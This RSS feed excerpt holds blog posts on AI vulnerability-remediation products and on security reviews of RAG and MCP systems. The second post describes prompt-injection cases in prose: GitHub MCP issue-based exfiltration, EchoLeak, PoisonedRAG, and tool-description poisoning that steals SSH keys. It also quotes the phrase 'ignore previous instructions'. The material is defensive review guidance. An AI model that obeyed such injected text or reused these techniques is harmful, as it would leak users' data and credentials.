<p>Track two is the one that dies without a knowledge base that's allowed to change. The org will keep changing: new services, new teams, new scope. The skill is the onboarding guide. The connectors are MCP or equivalent. The agent is the engineer who runs the guide on every new alert so the human spends time on the disagreements, not on re-collecting the facts.</p>
<p>The scanner found the CVE. That was the easy part.</p>
<hr />
<h2>References</h2>
<ul>
<li><p>FIRST, <em>Exploit Prediction Scoring System (EPSS) User Guide</em>. <a href="https://www.first.org/epss/user-guide">https://www.first.org/epss/user-guide</a></p>
</li>
<li><p>CISA, <em>Known Exploited Vulnerabilities Catalog</em>. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">https://www.cisa.gov/known-exploited-vulnerabilities-catalog</a></p>
</li>
<li><p>CISA, <em>Stakeholder-Specific Vulnerability Categorization (SSVC)</em>. <a href="https://www.cisa.gov/stakeholder-specific-vulnerability-categorization-ssvc">https://www.cisa.gov/stakeholder-specific-vulnerability-categorization-ssvc</a></p>
</li>
<li><p>CERT/CC, <em>SSVC Deployer Decision Model</em>. <a href="https://certcc.github.io/SSVC/howto/deployer%5C_tree/">https://certcc.github.io/SSVC/howto/deployer\_tree/</a></p>
</li>
<li><p>NIST SP 800-40 Rev. 4, <em>Guide to Enterprise Patch Management Planning</em>, April 2022. <a href="https://csrc.nist.gov/pubs/sp/800/40/r4/final">https://csrc.nist.gov/pubs/sp/800/40/r4/final</a></p>
</li>
<li><p>Anthropic, <em>Equipping agents for the real world with Agent Skills</em>, 16 October 2025. <a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills">https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[From Finding Bugs to Fixing Them: How Far Has AI Vulnerability Remediation Come?]]></title><description><![CDATA[Comparing reports from frontier AI labs, AI startups and enterprises as of Aug 2026]]></description><link>https://nebulablogs.com/from-finding-bugs-to-fixing-them-how-far-has-ai-vulnerability-remediation-come</link><guid isPermaLink="true">https://nebulablogs.com/from-finding-bugs-to-fixing-them-how-far-has-ai-vulnerability-remediation-come</guid><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Wed, 26 Aug 2026 23:11:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/27b4b6a4-1b92-4a90-95d0-3f54b89aa920.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>By August 2026, frontier labs (Google DeepMind, OpenAI, Anthropic) and AppSec startups have all shipped some version of autonomous vulnerability remediation, and every one of them stops at the same gate.</p>
<p>None of the inspectable systems take ownership of the merge. That is the current state.</p>
<p>This post compares what the labs built against what the startups shipped: which loops each closes, where they sit on an autonomy scale, and what would have to change before that gate comes off.</p>
<hr />
<h2>"Autonomous" is five jobs, not one word</h2>
<p>A scanner that opens a pull request is not the same object as an agent that discovers a bug nobody handed it, proves it, writes a root-cause patch, and rolls that patch into production. Both get called autonomous remediation.</p>
<p>The public record is clearer if the work is scored in stages:</p>
<ol>
<li><p><strong>Discovery.</strong> Identify a vulnerability that was not supplied as a CVE, scanner alert, or crash.</p>
</li>
<li><p><strong>Patch generation.</strong> Change source, dependencies, or configuration. Advice without a diff does not count.</p>
</li>
<li><p><strong>Autonomous validation.</strong> Rebuild, rescan, replay a proof, run tests, fuzz, or otherwise produce evidence that is not the model grading its own homework.</p>
</li>
<li><p><strong>Production deployment.</strong> Merge or apply the change in a real environment. A draft PR is not this stage.</p>
</li>
<li><p><strong>Closed-loop remediation.</strong> Intake → patch → independent validation → deploy → watch → roll back, running continuously under policy.</p>
</li>
</ol>
<p>Two collapses show up in almost every pitch. <strong>Supplied-finding repair is not autonomous discovery.</strong> GitHub, Snyk, and Semgrep usually start from CodeQL, Dependabot, Snyk, or Semgrep alerts. <strong>Retesting is not patching.</strong> A system can prove an engineer's mitigation worked without ever writing the fix.</p>
<p>The rest of this map is what frontier labs and startups have actually demonstrated against those stages, through August 2026.</p>
<hr />
<h2>Finding: What the frontier labs built</h2>
<h3>CodeMender:</h3>
<p>Google DeepMind introduced <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> on 6 October 2025. Gemini reasoning sits behind a debugger, source browser, static and dynamic analysis, differential testing, fuzzing, and SMT-style checks, plus a critique agent that diffs original and modified code. That is closer to a security engineer with a very fast intern than a chatbot with a "fix" button.</p>
<p>The published result: <strong>72 security fixes upstreamed in six months</strong>, including repositories up to 4.5 million lines. Every patch was reviewed by human researchers before submission. There is no public attempt count, rejection rate, or false-fix rate. "Upstreamed" is stronger evidence than "generated." It is still not autonomous deployment.</p>
<p>In July 2026, DeepMind introduced <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">Gemini 3.5 Flash Cyber</a> to find, validate, and patch through CodeMender. Google says it already runs on internal Chrome, Android, Cloud, Ads, and YouTube code. Access is governments and trusted partners. No merge rate or unattended-production claim is published.</p>
<h3>Codex Security:</h3>
<p>OpenAI announced <strong>Aardvark</strong> on 30 October 2025 and shipped it as <a href="https://openai.com/index/codex-security-now-in-research-preview/">Codex Security</a> in research preview on 6 March 2026. The pipeline is threat-model the repo, scan commits against that model, try to trigger findings in an isolated sandbox, then attach a Codex-generated patch for human review. It does not lean on classic fuzzing or SCA. It reasons over the code the way a researcher would, then asks a sandbox whether the bug is real.</p>
<p>The numbers that travelled:</p>
<ul>
<li><p><strong>92% identification</strong> on an unpublished set of "golden" repositories</p>
</li>
<li><p><strong>1.2 million+ commits</strong> scanned in a 30-day beta window</p>
</li>
<li><p><strong>792 critical</strong> and <strong>10,561 high-severity</strong> findings in that window</p>
</li>
<li><p><strong>14 assigned CVEs</strong></p>
</li>
</ul>
<p>Read those as volume and as a vendor-controlled recall figure, not as a patch-success rate. <a href="https://developers.openai.com/codex/security">OpenAI's own docs</a> are explicit: fixes are proposed for review. There is no published patch precision, regression rate, or unattended merge. The later <a href="https://openai.com/index/daybreak-securing-the-world/">Daybreak</a> materials still describe a human-led process that deduplicates findings before maintainers see them.</p>
<h3>Claude Security:</h3>
<p>Anthropic launched <a href="https://www.anthropic.com/research/claude-code-security">Claude Code Security</a> in limited research preview in February 2026. It reasons over the codebase rather than matching known patterns, re-examines findings in multiple stages, assigns confidence and severity, and suggests targeted patches. The product line is blunt: <strong>nothing is applied without human approval.</strong></p>
<p>The volume around it is larger than the product page. <a href="https://www.anthropic.com/research/glasswing-initial-update">Project Glasswing</a> reported that Claude Mythos Preview and about 50 partners found more than 10,000 high- or critical-severity issues. Of 530 high/critical bugs disclosed to open-source maintainers, 75 had been patched at publication. Separately, Claude Security was used to patch more than 2,100 vulnerabilities in three weeks. Anthropic notes the speed came because enterprises were fixing their own code. A <a href="https://www.anthropic.com/news/alberta-government-claude-cybersecurity">Government of Alberta case study</a> is the most concrete production-adjacent writeup: about 50 Claude Code agents scanned 466 million lines in 20 hours and often generated, tested, and built fixes. Engineers approved every patch before it shipped.</p>
<p>Glasswing's useful finding is not the 10,000. It is the bottleneck. Several maintainers asked Anthropic to slow disclosures. Average time to patch a high/critical Mythos finding was about two weeks. Discovery is no longer the scarce resource. Verification, disclosure, and a trusted fix are.</p>
<h3>Microsoft sits next to this category, not inside it</h3>
<p><a href="https://learn.microsoft.com/en-us/security-exposure-management/codename-mdash-faq">Codename MDASH</a> is a multi-model scanner for zero-days and logic flaws. Microsoft's FAQ is unusually explicit: it is read-only. It does not modify environments, open PRs, or push remediation. A separate developer-invoked Copilot flow can propose a function-level fix for review. MDASH is a discovery system. It is not repair.</p>
<hr />
<h2>Finding: the startups implemented the same gate in the developer workflow</h2>
<p>Frontier labs proved the agent can produce an accepted patch. AppSec vendors put that pattern on the alert queue teams already have.</p>
<table>
<thead>
<tr>
<th>System</th>
<th>Starts from</th>
<th>What it automates</th>
<th>How it checks the patch</th>
<th>The gate</th>
</tr>
</thead>
<tbody><tr>
<td><a href="https://github.blog/changelog/2026-07-10-agentic-autofix-for-code-scanning-alerts-in-public-preview/">GitHub agentic autofix</a></td>
<td>CodeQL or third-party code-scanning alerts</td>
<td>Explore files, propose a fix, iterate, open a draft PR (typically 2-4 minutes)</td>
<td>Reruns the original analysis</td>
<td>Human review / merge</td>
</tr>
<tr>
<td><a href="https://docs.snyk.io/scan-fix-and-prevent/fix/remediation-agent">Snyk Remediation Agent</a></td>
<td>Snyk SCA or SAST finding</td>
<td>Scan → plan → fix → verify, including CLI <code>--auto-approve</code> for local edits</td>
<td>Rescan plus existing application tests</td>
<td>Human merge; documented goal is mergeable PRs, not a demonstrated default</td>
</tr>
<tr>
<td><a href="https://zeropath.com/docs/scanning/bot-commands">ZeroPath Autofix</a></td>
<td>ZeroPath's own scanner</td>
<td>Generate a fix branch; <code>approve patch</code> opens the PR</td>
<td>Claims compile, tests, and rescan; public denominators are thin</td>
<td>Explicit <code>generate</code> vs <code>approve</code>; human merges</td>
</tr>
<tr>
<td><a href="https://docs.semgrep.dev/semgrep-code/triage-remediation/autofix">Semgrep Autofix</a></td>
<td>Semgrep finding</td>
<td>Branch, apply AI changes, open a draft PR/MR</td>
<td>No general exploit or regression oracle documented</td>
<td>Human review / merge</td>
</tr>
</tbody></table>
<p>GitHub also lets Dependabot alerts be assigned to Copilot, Claude, or Codex. The agent can update calling code around a dependency bump. Review is still required.</p>
<p>Two details matter more than the vendor column.</p>
<p><strong>Scanner disappearance is a weak oracle.</strong> GitHub rerunning CodeQL, or Snyk rescanning until the alert goes away, proves the original detector is quiet. It does not prove a variant of the bug is gone, or that a retry policy, a rate limit, or an auth boundary still behaves the way production needs. ZeroPath is the vendor that most clearly claims compile + tests + rescan together. It has not published a reproducible attempted/passed/merged denominator.</p>
<p><code>--auto-approve</code> <strong>is not production autonomy.</strong> Snyk's CLI flag removes per-change prompts on a local run. That is a workflow convenience for an engineer who is already at the keyboard. It is not an unattended merge into <code>main</code>.</p>
<hr />
<h2>Other types of autonomous security systems</h2>
<p><strong>The repair loop</strong> is find or intake → generate a patch → validate the patch. That is CodeMender, Codex Security, Claude Security, GitHub agentic autofix, Snyk, ZeroPath, and Semgrep Autofix. In every inspectable case, a human still accepts the change.</p>
<p><strong>The offensive-validation loop</strong> is attack → report → retest after someone else fixed it.</p>
<ul>
<li><p><a href="https://xbow.com/blog/vulnerability-management-automation">XBOW</a> runs autonomous black-box testing against live applications, posts validated findings, and retests after remediation. Its Microsoft integration is described as a continuous offense/defense feedback loop. XBOW itself says workflows that feed findings into automated <em>remediation</em> are still evolving. There is no public general source-patch generator.</p>
</li>
<li><p><a href="https://www.runsybil.com/">RunSybil</a> continuously models and attacks applications and infrastructure, chains weaknesses, and checks exploitability. Public evidence covers discovery, attack-path validation, guidance, and retesting, not autonomous software repair.</p>
</li>
<li><p><a href="https://projectdiscovery.io/blog/neo-v1">ProjectDiscovery Neo</a> is one of the clearest documented validation loops: confirm an issue in an isolated sandbox, optionally open a PR or ticket, and after a human merge, replay the original exploit and keep that check on later deploys. That closes tracking and regression. It does not establish that Neo generally synthesizes, merges, and deploys source patches.</p>
</li>
</ul>
<p>Calling any of those "closed loop" is accurate for testing. It is not closed-loop software repair.</p>
<p><strong>The operations patch loop</strong> is inventory known CVEs → deploy a vendor-supplied update → verify → roll back. Products such as Ivanti Neurons can do this in production, with ring rollouts. That is genuine closed-loop remediation for a narrower task: the patch already exists. It is not AI-generated source repair, and it is not zero-day discovery.</p>
<p>Agentic SOC platforms sit in a fourth loop (investigation, detection engineering, scoped containment). They are not evidence for source-vulnerability patching, even when the marketing word is "remediation."</p>
<hr />
<h2>Current state: an autonomy ladder, and where 2026 products sit</h2>
<p>The useful scale is evidence quality and blast radius.</p>
<ol>
<li><p>Advice only (a suggested fix with no diff).</p>
</li>
<li><p>Generated diff.</p>
</li>
<li><p>Scanner-verified diff.</p>
</li>
<li><p>Executably validated draft PR.</p>
</li>
<li><p>Policy auto-merge in low-risk scopes.</p>
</li>
<li><p>Ring deployment with health checks and rollback.</p>
</li>
<li><p>Continuous novel-vulnerability closed loop.</p>
</li>
</ol>
<p>Most source-remediation products are at <strong>levels 3-4</strong>. Known-patch endpoint management can reach <strong>level 6</strong> for vendor updates. <strong>Level 7 is not publicly established</strong> for novel source flaws.</p>
<p>That is also the honest picture of what is usable now. The architecture that matches the evidence is an evidence-producing agent inside a governed delivery system: deterministic discovery and tests where they already work, agentic root-cause work where scanners miss, independent verification, and a human or policy gate sized to blast radius.</p>
<p>Mapped onto the products:</p>
<ul>
<li><p><strong>Supplied-finding repair on a backlog the scanner already owns.</strong> GitHub agentic autofix, Snyk, and Semgrep Autofix are the shortest path from an existing CodeQL, SCA, or SAST queue to a reviewable PR. The fit is low-breakability dependency bumps and isolated services.</p>
</li>
<li><p><strong>Lab agents for the bugs scanners are bad at.</strong> Codex Security and Claude Security are built for repo-specific logic and "this only breaks under these conditions" findings. The sandbox trigger or multi-stage verification is why the diff is worth review time. The diff still gets reviewed.</p>
</li>
<li><p><strong>Offensive retest after merge.</strong> XBOW, RunSybil, or Neo can prove the deployed fix actually closed the hole, including variants. That is the half of the loop the repair products mostly do not own.</p>
</li>
<li><p><strong>CodeMender-class hardening stays in the trusted-partner bucket</strong> unless the organisation is already in that programme. Upstreamed patches and internal Chrome/Android/Cloud use are real. They are not a self-service merge button.</p>
</li>
<li><p><strong>Novel source patches still sit behind a gate.</strong> The labs with the most compute independently kept it there. A confirmation dialog that only shows a tool name is not a gate. A PR with a diff, a rationale, and the commands that were run is.</p>
</li>
</ul>
<hr />
<h2>What remains unproven, and what the next step actually is</h2>
<p>The unsolved problem is not code generation. It is confidence under incomplete specifications and production consequences.</p>
<p><strong>General patch correctness.</strong> Passing the original scanner or proof can overfit the symptom. Few vendors publish variant-attack, fuzzing, differential, and full regression results together.</p>
<p><strong>Independent denominators.</strong> "72 upstreamed," "10,561 findings," and "2,100 patched" are success counts. Attempted-patch totals, rejection rates, escaped regressions, and time-to-rollback are still mostly unpublished.</p>
<p><strong>Unattended acceptance and rollout.</strong> The human gate is policy, not a missing feature. Draft PRs are widely demonstrated. Autonomous canary rollout, causal regression detection, and automatic rollback for AI-authored source diffs are not.</p>
<p><strong>Adversarial robustness.</strong> These agents ingest untrusted repositories, issues, build logs, and tool output. Public product evidence rarely quantifies prompt-injection or poisoned-test resistance. A system that finds vulnerabilities in untrusted code is, structurally, a system that <em>reads</em> untrusted code.</p>
<p><strong>The volume problem Glasswing named.</strong> Models can now find more high-severity issues than maintainers can verify and patch. A remediation agent that dumps unvalidated diffs onto the same queue makes that worse. The near-term win is not more findings. It is fewer, better-evidenced patches.</p>
<p>The plausible next rung is not level 7. It is <strong>level 5 in narrow scopes</strong>: policy auto-merge for low-blast-radius changes that already have an executable oracle. A dependency bump with a clean rescan and green tests. A linter-equivalent SAST fix. A config hardening with a deterministic check. Ring deployment (level 6) is the adjacent operations problem, and known-patch tools already know how to do rings. Nobody has published the combination for novel, agent-written patches.</p>
<p>If a vendor claims they have, the question is which of discovery, proof, patch, verification, and deployment happens without a person, and what independent evidence sits on the PR.</p>
<hr />
<h2>Putting it together</h2>
<p>Frontier labs showed that discovery, patch generation, and non-trivial validation can produce accepted real-world fixes at useful scale. Startups put that loop on the scanner queue. Offensive platforms closed a different loop: prove it, then prove the fix held. Known-patch management already closes production rollout, for patches a vendor already wrote.</p>
<p>The shared decision across all of the source-repair products is the finding. A reviewed, evidence-backed diff is operationally useful now. An agent that owns production risk is not what shipped.</p>
<p>What shipped takes mechanical work off the queue. The production decision is still a person's, just smaller, faster, and backed by something that is not the model talking to itself.</p>
<h2>References</h2>
<ul>
<li><p>Google DeepMind, <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">Introducing CodeMender</a> (2025-10-06)</p>
</li>
<li><p>Google DeepMind, <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">Introducing Gemini 3.5 Flash Cyber</a> (2026-07-21)</p>
</li>
<li><p>OpenAI, <a href="https://openai.com/index/introducing-aardvark/">Introducing Aardvark</a> (2025-10-30)</p>
</li>
<li><p>OpenAI, <a href="https://openai.com/index/codex-security-now-in-research-preview/">Codex Security: now in research preview</a> (2026-03-06)</p>
</li>
<li><p>OpenAI, <a href="https://developers.openai.com/codex/security">Codex Security documentation</a></p>
</li>
<li><p>OpenAI, <a href="https://openai.com/index/daybreak-securing-the-world/">Daybreak</a></p>
</li>
<li><p>Anthropic, <a href="https://www.anthropic.com/research/claude-code-security">Claude Code Security</a> (2026-02)</p>
</li>
<li><p>Anthropic, <a href="https://www.anthropic.com/research/glasswing-initial-update">Project Glasswing: an initial update</a> (2026-05-22)</p>
</li>
<li><p>Anthropic, <a href="https://www.anthropic.com/news/alberta-government-claude-cybersecurity">Government of Alberta case study</a> (2026-07-06)</p>
</li>
<li><p>Microsoft, <a href="https://learn.microsoft.com/en-us/security-exposure-management/codename-mdash-faq">Codename MDASH FAQ</a></p>
</li>
<li><p>GitHub, <a href="https://github.blog/changelog/2026-07-10-agentic-autofix-for-code-scanning-alerts-in-public-preview/">Agentic autofix for code scanning alerts</a> (2026-07-10)</p>
</li>
<li><p>GitHub, <a href="https://github.blog/changelog/2026-04-07-dependabot-alerts-are-now-assignable-to-ai-agents-for-remediation/">Dependabot alerts assignable to AI agents</a> (2026-04-07)</p>
</li>
<li><p>Snyk, <a href="https://docs.snyk.io/scan-fix-and-prevent/fix/remediation-agent">Remediation Agent</a></p>
</li>
<li><p>ZeroPath, <a href="https://zeropath.com/docs/scanning/bot-commands">Bot commands</a></p>
</li>
<li><p>Semgrep, <a href="https://docs.semgrep.dev/semgrep-code/triage-remediation/autofix">Autofix</a></p>
</li>
<li><p>XBOW, <a href="https://xbow.com/blog/vulnerability-management-automation">Vulnerability-management workflow</a></p>
</li>
<li><p>RunSybil, <a href="https://www.runsybil.com/">product</a></p>
</li>
<li><p>ProjectDiscovery, <a href="https://projectdiscovery.io/blog/neo-v1">Neo v1</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Security Reviews of Enterprise AI Systems in 2026]]></title><description><![CDATA[Lessons from Recent Disclosures and Real-World Reviews]]></description><link>https://nebulablogs.com/security-reviews-of-enterprise-ai-systems-in-2026</link><guid isPermaLink="true">https://nebulablogs.com/security-reviews-of-enterprise-ai-systems-in-2026</guid><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Tue, 25 Aug 2026 22:39:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/ac0eb8ef-cc1c-41dc-84f3-68956f0e1196.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When I look at design docs for RAG and MCP systems, the security section is usually the same few lines. Retrieval so the model doesn't hallucinate. Tools so it can act. A prompt-injection classifier on the way out.</p>
<p>The review often stops there, as if this were still a chatbot. In practice these systems read untrusted text, search a corpus that no longer carries the original file permissions, and call tools as a service account.</p>
<p>This post is about how that architecture actually moves data and credentials, two incidents that already showed what goes wrong, and the questions worth asking in a review.</p>
<hr />
<h2>How the system actually works</h2>
<p>A production RAG path is more than "the model plus some documents."</p>
<p>Source text is chunked, sent to an embedding API, stored in a vector database, retrieved by similarity, stuffed into a prompt, and often sent on to a foundation-model provider. Every hop is another place the data lives.</p>
<p>Treat the vector database like the document store. Embeddings are not an anonymized form of the corpus. <a href="https://arxiv.org/abs/2310.06816">Morris, Kuleshov, Shmatikov, and Rush</a> showed that Vec2Text could recover 92% of 32-token inputs exactly, and 89% of full names from embedded MIMIC clinical notes.</p>
<p>MCP adds a second path: tools running in a host such as Cursor, Claude Desktop, or your orchestrator.</p>
<p>The <a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization">MCP authorization spec (2026-07-28)</a> is clear on identity. Authorization is <strong>optional</strong>. HTTP servers <em>should</em> use OAuth. <strong>Stdio servers should not</strong>; they take credentials from the environment instead.</p>
<p>When HTTP OAuth exists, it only controls access to the MCP server. It does not map each tool call onto the signed-in user's role. If that server then calls GitHub or SharePoint, the spec <a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations">forbids token passthrough</a>. The upstream call uses a separate token, and that token does not have to be the user's least-privilege role.</p>
<p>Three identities matter here: the user, the MCP client (the host app), and the MCP server plus whatever it calls next. Ask which one is actually talking to GitHub, SharePoint, or the database. If the answer is a bot PAT in the host environment, the user's IdP group is not doing anything useful.</p>
<p>Anthropic's connector docs say Claude acts "based on your permissions." That is a product claim for their OAuth flow, not a guarantee of the protocol. The same help article still tells you to treat custom MCP servers as a prompt-injection risk.</p>
<hr />
<h2>The harness will change underneath you</h2>
<p>A lot of the agents I see in reviews sit on Claude Code, Cursor, Codex, or whatever the company standardized on. Those products look like a platform, but they behave more like a research harness wrapped in a CLI.</p>
<p>Boris Cherny, who built Claude Code, talked about this in a <a href="https://www.ycrootaccess.com/p/boris-cherny-building-claude-code">recent Y Combinator Startup School interview</a>. On every new model they ablate the product: delete the system prompt, bring it back line by line, unship tools, delete harness code. For Opus 5 they removed about 80% of the system prompt, because the new model no longer needed the old corrections. The interviewer described it as starting from scratch. Cherny's correction was they don't wipe the whole codebase. They still delete a lot, because each model is different enough that last quarter's prompt may not apply.</p>
<p>That is a reasonable way to build a frontier coding agent. It is a problem for anyone who treated last quarter's harness as a stable control. Permission copy, tool lists, and "the agent won't do X" instructions live inside something you don't own and that the vendor will keep rewriting. A more capable model can also do more with the same PAT and the same MCP servers you already connected. You don't get a design review when that happens. You get a changelog.</p>
<p>If the internal agent is built on one of these foundations, put authorization, ACLs, spend caps, and write-approval <em>outside</em> the harness. Re-review when the model or the CLI moves. A screenshot of last quarter's confirmation UI doesn't tell you this quarter's harness still asks.</p>
<hr />
<h2>Two incidents, same architecture</h2>
<p>In May 2025, <a href="https://invariantlabs.ai/blog/mcp-github-vulnerability">Invariant Labs</a> showed this against the official GitHub MCP server.</p>
<p>Someone filed a malicious issue on a public repo. A user asked Claude 4 Opus to look at the issues. The agent used the victim's GitHub PAT, then opened a public pull request with private repo names, relocation plans, and salary. Claude Desktop did ask for confirmation. A lot of people had already clicked <strong>Always Allow</strong>.</p>
<p>Invariant's point was that this came from the architecture, not a bug in the GitHub MCP server: trusted tools, untrusted content, and a way to send data out, all in one session.</p>
<p><a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">Simon Willison</a> called that pattern a lethal trifecta: private data, untrusted content, and external communication. Guardrail vendors often quote a ~95% catch rate. As Willison notes, in web application security that is a failing grade. A vendor product will not save a team that wired all three into one agent.</p>
<p>Microsoft 365 Copilot had the RAG-shaped version. <a href="https://ojs.aaai.org/index.php/AAAI-SS/article/view/36899">EchoLeak</a> (CVE-2025-32711) was a zero-click prompt injection in a production system. A crafted email landed in the retrieval index. First-person phrasing slipped past XPIA classifiers. Markdown and auto-fetched image URLs carried the data out, through a Teams proxy that CSP allowed.</p>
<p>The user never pasted a jailbreak. Retrieval did the work. Images, links, and citations were the tools.</p>
<p>Start the review with identity and data flow, not with a jailbreak classifier.</p>
<hr />
<h2>What shows up in review</h2>
<p>These are failure modes, not one-off CVEs. A system that "uses Azure AI Search" and "uses MCP" can still hit all of them.</p>
<h3>The index is an unauthenticated database with a search box</h3>
<p>Document ACLs on Confluence or SharePoint do not automatically apply to chunks. If retrieval is only "find similar text," that is an authorization bypass.</p>
<p>OWASP's RAG cheat sheet calls this <strong>the most common compliance failure in enterprise RAG deployments</strong>. Store ACL metadata on every chunk. Enforce it at <strong>retrieval time</strong>. Do not ask the language model who is allowed to see a passage.</p>
<p>Filter before you retrieve. If you fetch first and filter after, similarity scores of documents the caller cannot read still leak. When a SharePoint file is revoked, delete the chunks too, or it lives in the index forever.</p>
<p><a href="https://learn.microsoft.com/en-us/azure/search/search-document-level-access-overview">Azure AI Search document-level access control</a> (updated 8 August 2026) is Microsoft's version of this. Security-filter string matching is generally available. Native POSIX ACL / RBAC, Purview labels, and SharePoint ACL paths are still <strong>preview</strong>, and there is a documented lag before the preview API notices permission changes.</p>
<p>"We use Azure AI Search" is not the same as "we trim results using the caller's token." Microsoft's GPT-RAG sample is the pattern that works: one token for the orchestrator, a separate on-behalf-of token for Search. Two audiences. Not interchangeable.</p>
<p>Vector APIs often ship with authentication turned off. <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-45829">CVE-2026-45829</a> in ChromaDB is what that looks like when a collections endpoint is on the network. Bind HTTP MCP to localhost. Don't put it on <code>0.0.0.0</code> without a token.</p>
<p>Give embeddings the same classification as the source text. Encrypt them at rest. Don't expose a public embedding API. Rate-limit anything that can be queried as an oracle. <a href="https://arxiv.org/abs/2405.20446">Anderson et al.</a> showed you can ask a RAG system, in ordinary language, whether a passage is in the index.</p>
<h3>Retrieval is a prompt-injection primitive</h3>
<p>RAG does not fix prompt injection. It moves it into the corpus.</p>
<p><a href="https://arxiv.org/abs/2302.12173">Greshake et al. (2023)</a> put it well: these apps blur data and instructions, and retrieved text can decide which APIs get called. OWASP LLM01:2026 has the same RAG scenario: an attacker edits a document in the retrieval repository. Delimiters and "this is data, not commands" help, but they don't create a trust boundary.</p>
<p>Poisoning also doesn't have to look like <code>ignore previous instructions</code>. <a href="https://www.usenix.org/system/files/usenixsecurity25-zou-poisonedrag.pdf">PoisonedRAG</a> (USENIX Security 2025) got a 90% attack success rate by injecting <strong>five</strong> attacker-chosen texts per target question into a knowledge base with millions of documents. The texts were written to be retrieved, and then to steer the answer. Scanning the corpus for jailbreak strings will miss that.</p>
<p>If the agent can write back (tickets, PRs, wiki pages, "memory," a vector upsert), one injection becomes every future retrieval. The OWASP cheat sheet says no application code or agent endpoint should have direct write access to the vector index. Ingest with a locked pipeline identity. Put a human on writes. GitHub MCP's public PR was write-back used as exfil, and that write then becomes someone else's RAG context.</p>
<h3>Private data, untrusted content, and an egress channel</h3>
<p>You don't need a compromised MCP server. You need all three in one session.</p>
<p>Untrusted content is issues, email, web pages, RAG chunks, and tool descriptions. Privileged tools are PATs, send-mail, create-PR, <code>fetch_url</code>. Egress is a public PR, an outbound image URL, a search query, an email subject, or a hidden <code>sidenote</code> argument.</p>
<p>OWASP LLM03:2026 (Excessive Agency) is the mail-summarizer story. An injection in an email tells the agent to scan the inbox and forward mail to the attacker. You avoid that with read-only OAuth, no send function, and a human in the loop before send. Rate-limiting send limits the damage. It does not prevent it. For GitHub, the same cut is repo-scoped tokens and one untrusted source per session.</p>
<p>A confirmation UI that only shows the tool <em>name</em> misses the arguments that matter. The MCP cheat sheet wants <strong>full parameters</strong>. Invariant's tool-poisoning writeup is the reason: Cursor hid the argument that was an SSH key. Always Allow undoes the rest.</p>
<h3>MCP identity is not the user's role</h3>
<p>There are three ways this usually gets built.</p>
<p>Passthrough reuses the inbound token. The spec bans it, because audience binding and audit fall apart. A shared service identity ignores the user, so every prompt-injected caller inherits the bot. On-behalf-of mints a <em>new</em> token for a <em>new</em> audience, still representing the user. Only that last option, plus query-time ACL, actually carries user authorization into retrieval and tools.</p>
<p>Default scopes are easy to get wrong. If the 401 <code>WWW-Authenticate</code> challenge leaves out <code>scope</code>, a spec-following client asks for every scope in <code>scopes_supported</code>. Publish <code>files:*</code>, <code>admin</code>, and <code>db:*</code>, and the client will request the lot on first handshake. Least privilege in the spec is SHOULD, not MUST. You still need authorization on the server even when the token lists scopes.</p>
<p>Confused deputy shows up twice. In the spec, it is an MCP gateway that OAuths to Slack or Google with one static <code>client_id</code>, then skips consent for a later malicious client. In OWASP, it is an extension that says it reads "the current user's documents" while connecting as an account that can see everyone. Same name, two mechanics. Both belong in the same review.</p>
<p>State handles (a cart id, a workflow id) are not authentication. MCP servers mint them as tool arguments. Holding the id is not proof of who you are. Bind them on the server to the user on the token. Don't share MCP connections across users.</p>
<p>SSRF is in the spec too, during OAuth discovery. Clients fetch <code>resource_metadata</code> and token endpoints. A remote MCP URL is an SSRF primitive against the host, including cloud metadata and localhost. Tools that fetch URLs from model-generated parameters have the same problem.</p>
<h3>The plugin is the supply chain and the prompt</h3>
<p>Tool <em>descriptions</em> sit in the model context. MCP assumes they are harmless.</p>
<p><a href="https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks">Invariant's tool-poisoning attacks</a> (April 2025) hid instructions in an <code>add</code> tool: read <code>mcp.json</code> and <code>id_rsa</code>, pass them as <code>sidenote</code>. A <strong>rug pull</strong> is when the description changes after you approved it. <strong>Shadowing</strong> is when a malicious <code>add</code> retargets a trusted <code>send_email</code>. WhatsApp MCP was the same idea against a trusted messenger: encrypting the chat does not protect the agent.</p>
<p>Pin tool schema hashes. Show full descriptions in the consent UI. Keep untrusted marketplace servers away from secrets. RAG ingest connectors (Drive, SharePoint, scrapers) are the corpus supply chain. Pin embedding-model versions and stage them before they hit the index. A "verified" marketplace badge is marketing unless there is signing and a hash pin. OWASP LLM04:2026 is the name for this. The control is the pin.</p>
<h3>Boring controls missing on an unbounded loop</h3>
<p>Rate limits and spend caps stop people probing the corpus, testing membership, flooding retrieval, and looping the agent. OWASP moved Unbounded Consumption to LLM06:2026 for a reason. Token-metered APIs plus tool loops are a way to run up the bill. Limit tokens per request, not just requests per second.</p>
<p>Logs have to survive the injection. After the fact you need who queried, which chunks came back, which tool ran, and with which arguments. Token passthrough destroys that trail.</p>
<p>Full-fidelity traces are a second copy of the corpus, plus secrets. Who can read LangSmith or App Insights is a data-residency question, not a debug flag. Retrieved chunks travel with the prompt to the cloud. <a href="https://owaspai.org/docs/ai_security_overview/">OWASP AI Exchange</a> is explicit about that.</p>
